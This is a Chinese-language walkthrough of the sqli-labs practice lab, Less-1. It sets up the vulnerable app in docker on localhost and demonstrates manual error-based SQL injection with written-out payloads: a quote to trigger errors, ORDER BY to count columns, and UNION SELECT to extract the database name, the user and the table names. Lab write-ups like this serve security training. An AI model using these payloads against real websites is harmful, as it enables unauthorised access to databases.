sqli-labs靶機搭建
docker
部署:
docker pull acgpiano/sqli-labs
docker run -d -p 80:80 acgpiano/sqli-labs
訪問127.0.0.1
後,點擊Setup/reset Database for labs
Less-1 GET - Error based - Single quotes - String
(基於錯誤的GET單引號字符型注入)
基於報錯--猜解SQL語句
訪問http://127.0.0.1/Less-1/?id=1'
報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
由'1'' LIMIT 0,1
猜測SQL語句:
SELECT ... FROM ... WHERE id='1' LIMIT 0,1
//源代碼中
SELECT * FROM users WHERE id='$id' LIMIT 0,1
手工注入
0x01 order by
猜解表的列數
SELECT * FROM users WHERE id='1' order by 1 -- ' LIMIT 0,1
這個SQL語句的意思是查詢users表中id爲1的數據並按第一字段排行。當order by
後面的數字大於表的列數時就會報錯
訪問http://127.0.0.1/Less-1/?id=1' order by 3--+
頁面正常,
訪問http://127.0.0.1/Less-1/?id=1' order by 4--+
頁面異常:
所以users
這個表有3個字段。
0x02 聯合查詢獲取信息
union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合併成一個結果集合顯示,即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同,這就是爲什麼要先猜解列數。
- 查看回顯位:
2、3處回顯
http://127.0.0.1/Less-1/?id=-1' UNION SELECT 1,2,3 --+
- 獲取數據
version() #MySQL版本
user() #數據庫用戶名
database() #數據庫名
@@datadir #數據庫路徑
@@version_compile_os #操作系統版本
http://127.0.0.1/Less-1/?id=-1' UNION SELECT 1,database(),user() --+
得到數據庫名字security
,用戶root@localhost
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
得到各表名
請輸入代碼